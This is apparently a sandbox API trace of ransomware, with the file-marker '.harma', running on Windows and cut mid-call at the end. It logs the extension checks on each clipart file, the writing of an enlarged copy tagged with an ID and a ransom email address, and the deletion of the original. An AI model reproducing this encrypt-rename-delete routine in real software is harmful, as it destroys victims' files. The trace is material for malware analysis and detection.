lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.474] lstrlenW (lpString=".7z") returned 3 [0155.474] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 63 [0155.474] lstrlenW (lpString=".dbf") returned 4 [0155.474] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 63 [0155.474] lstrlenW (lpString=".1cd") returned 4 [0155.474] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 63 [0155.474] lstrlenW (lpString=".jpg") returned 4 [0155.474] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.474] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0155.474] lstrlenW (lpString="FD01193_.WMF") returned 12 [0155.474] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01193_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0155.483] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=1160) returned 1 [0155.483] CloseHandle (hObject=0x388) returned 1 [0155.483] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01193_.wmf")) returned 0x20 [0155.500] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01193_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0155.500] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01193_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0155.500] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0155.500] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0155.500] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01193_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0155.501] GetLastError () returned 0x0 [0155.501] ReadFile (in: hFile=0x388, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x488, lpOverlapped=0x0) returned 1 [0155.509] WriteFile (in: hFile=0x368, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x490, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0x490, lpOverlapped=0x0) returned 1 [0155.509] ReadFile (in: hFile=0x388, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0155.509] WriteFile (in: hFile=0x368, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0155.510] SetEndOfFile (hFile=0x368) returned 1 [0155.510] CloseHandle (hObject=0x368) returned 1 [0155.510] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0155.510] SetEndOfFile (hFile=0x388) returned 1 [0155.524] CloseHandle (hObject=0x388) returned 1 [0155.524] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0155.525] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01193_.wmf")) returned 1 [0155.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 63 [0155.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 63 [0155.525] lstrlenW (lpString=".doc") returned 4 [0155.525] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.525] lstrlenW (lpString=".docx") returned 5 [0155.525] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0155.526] lstrlenW (lpString=".pdf") returned 4 [0155.526] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.526] lstrlenW (lpString=".xls") returned 4 [0155.526] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.526] lstrlenW (lpString=".xlsx") returned 5 [0155.526] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0155.526] lstrlenW (lpString=".ppt") returned 4 [0155.526] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 63 [0155.526] lstrlenW (lpString=".zip") returned 4 [0155.526] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.526] lstrlenW (lpString=".rar") returned 4 [0155.526] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.526] lstrlenW (lpString=".bz2") returned 4 [0155.526] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.526] lstrlenW (lpString=".7z") returned 3 [0155.526] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 63 [0155.526] lstrlenW (lpString=".dbf") returned 4 [0155.526] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 63 [0155.526] lstrlenW (lpString=".1cd") returned 4 [0155.526] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 63 [0155.526] lstrlenW (lpString=".jpg") returned 4 [0155.526] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 63 [0155.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 63 [0155.526] lstrlenW (lpString=".doc") returned 4 [0155.526] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.527] lstrlenW (lpString=".docx") returned 5 [0155.527] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0155.527] lstrlenW (lpString=".pdf") returned 4 [0155.527] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.527] lstrlenW (lpString=".xls") returned 4 [0155.527] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.527] lstrlenW (lpString=".xlsx") returned 5 [0155.527] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0155.527] lstrlenW (lpString=".ppt") returned 4 [0155.527] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 63 [0155.527] lstrlenW (lpString=".zip") returned 4 [0155.527] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.527] lstrlenW (lpString=".rar") returned 4 [0155.527] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.527] lstrlenW (lpString=".bz2") returned 4 [0155.527] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.527] lstrlenW (lpString=".7z") returned 3 [0155.527] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 63 [0155.527] lstrlenW (lpString=".dbf") returned 4 [0155.527] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 63 [0155.527] lstrlenW (lpString=".1cd") returned 4 [0155.527] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 63 [0155.527] lstrlenW (lpString=".jpg") returned 4 [0155.527] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.528] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0155.528] lstrlenW (lpString="FD01548_.WMF") returned 12 [0155.528] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01548_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0155.528] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=10316) returned 1 [0155.528] CloseHandle (hObject=0x388) returned 1 [0155.528] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01548_.wmf")) returned 0x20 [0155.529] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01548_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0155.529] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01548_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0155.529] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0155.529] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0155.529] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01548_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0155.530] GetLastError () returned 0x0 [0155.530] ReadFile (in: hFile=0x388, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x284c, lpOverlapped=0x0) returned 1 [0156.472] WriteFile (in: hFile=0x368, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x2850, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0x2850, lpOverlapped=0x0) returned 1 [0156.473] ReadFile (in: hFile=0x388, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0156.473] WriteFile (in: hFile=0x368, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0156.473] SetEndOfFile (hFile=0x368) returned 1 [0156.473] CloseHandle (hObject=0x368) returned 1 [0156.473] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0156.473] SetEndOfFile (hFile=0x388) returned 1 [0156.476] CloseHandle (hObject=0x388) returned 1 [0156.476] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0156.741] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01548_.wmf")) returned 1 [0156.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 63 [0156.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 63 [0156.742] lstrlenW (lpString=".doc") returned 4 [0156.742] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.742] lstrlenW (lpString=".docx") returned 5 [0156.742] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0156.742] lstrlenW (lpString=".pdf") returned 4 [0156.742] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.742] lstrlenW (lpString=".xls") returned 4 [0156.742] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.742] lstrlenW (lpString=".xlsx") returned 5 [0156.742] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0156.742] lstrlenW (lpString=".ppt") returned 4 [0156.742] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 63 [0156.742] lstrlenW (lpString=".zip") returned 4 [0156.742] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.742] lstrlenW (lpString=".rar") returned 4 [0156.742] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.743] lstrlenW (lpString=".bz2") returned 4 [0156.743] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.743] lstrlenW (lpString=".7z") returned 3 [0156.743] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 63 [0156.743] lstrlenW (lpString=".dbf") returned 4 [0156.743] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 63 [0156.743] lstrlenW (lpString=".1cd") returned 4 [0156.743] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 63 [0156.743] lstrlenW (lpString=".jpg") returned 4 [0156.743] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 63 [0156.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 63 [0156.743] lstrlenW (lpString=".doc") returned 4 [0156.743] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.743] lstrlenW (lpString=".docx") returned 5 [0156.743] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0156.743] lstrlenW (lpString=".pdf") returned 4 [0156.743] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.743] lstrlenW (lpString=".xls") returned 4 [0156.743] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.743] lstrlenW (lpString=".xlsx") returned 5 [0156.743] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0156.743] lstrlenW (lpString=".ppt") returned 4 [0156.743] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 63 [0156.743] lstrlenW (lpString=".zip") returned 4 [0156.743] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.744] lstrlenW (lpString=".rar") returned 4 [0156.744] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.744] lstrlenW (lpString=".bz2") returned 4 [0156.744] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.744] lstrlenW (lpString=".7z") returned 3 [0156.744] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 63 [0156.744] lstrlenW (lpString=".dbf") returned 4 [0156.744] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 63 [0156.744] lstrlenW (lpString=".1cd") returned 4 [0156.744] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 63 [0156.744] lstrlenW (lpString=".jpg") returned 4 [0156.744] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.744] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0156.744] lstrlenW (lpString="FD02071_.WMF") returned 12 [0156.744] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02071_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0156.745] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=2188) returned 1 [0156.745] CloseHandle (hObject=0x340) returned 1 [0156.745] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02071_.wmf")) returned 0x20 [0156.745] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02071_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0156.745] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02071_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0156.746] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0156.746] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0156.746] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02071_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0156.746] GetLastError () returned 0x0 [0156.746] ReadFile (in: hFile=0x340, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x88c, lpOverlapped=0x0) returned 1 [0156.783] WriteFile (in: hFile=0x330, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x890, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0x890, lpOverlapped=0x0) returned 1 [0156.810] ReadFile (in: hFile=0x340, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0156.810] WriteFile (in: hFile=0x330, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0156.810] SetEndOfFile (hFile=0x330) returned 1 [0156.810] CloseHandle (hObject=0x330) returned 1 [0156.810] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0156.810] SetEndOfFile (hFile=0x340) returned 1 [0156.812] CloseHandle (hObject=0x340) returned 1 [0156.813] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0156.813] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02071_.wmf")) returned 1 [0156.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 63 [0156.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 63 [0156.813] lstrlenW (lpString=".doc") returned 4 [0156.813] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.813] lstrlenW (lpString=".docx") returned 5 [0156.813] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0156.813] lstrlenW (lpString=".pdf") returned 4 [0156.813] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.814] lstrlenW (lpString=".xls") returned 4 [0156.814] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.814] lstrlenW (lpString=".xlsx") returned 5 [0156.814] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0156.814] lstrlenW (lpString=".ppt") returned 4 [0156.814] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 63 [0156.814] lstrlenW (lpString=".zip") returned 4 [0156.814] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.814] lstrlenW (lpString=".rar") returned 4 [0156.814] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.814] lstrlenW (lpString=".bz2") returned 4 [0156.814] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.814] lstrlenW (lpString=".7z") returned 3 [0156.814] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 63 [0156.814] lstrlenW (lpString=".dbf") returned 4 [0156.814] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 63 [0156.814] lstrlenW (lpString=".1cd") returned 4 [0156.814] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 63 [0156.814] lstrlenW (lpString=".jpg") returned 4 [0156.814] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 63 [0156.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 63 [0156.814] lstrlenW (lpString=".doc") returned 4 [0156.814] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.814] lstrlenW (lpString=".docx") returned 5 [0156.814] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0156.815] lstrlenW (lpString=".pdf") returned 4 [0156.815] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.815] lstrlenW (lpString=".xls") returned 4 [0156.815] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.815] lstrlenW (lpString=".xlsx") returned 5 [0156.815] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0156.815] lstrlenW (lpString=".ppt") returned 4 [0156.815] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 63 [0156.815] lstrlenW (lpString=".zip") returned 4 [0156.815] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.815] lstrlenW (lpString=".rar") returned 4 [0156.815] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.815] lstrlenW (lpString=".bz2") returned 4 [0156.815] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.815] lstrlenW (lpString=".7z") returned 3 [0156.815] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 63 [0156.815] lstrlenW (lpString=".dbf") returned 4 [0156.815] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 63 [0156.815] lstrlenW (lpString=".1cd") returned 4 [0156.815] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 63 [0156.815] lstrlenW (lpString=".jpg") returned 4 [0156.815] lstrcmpiW 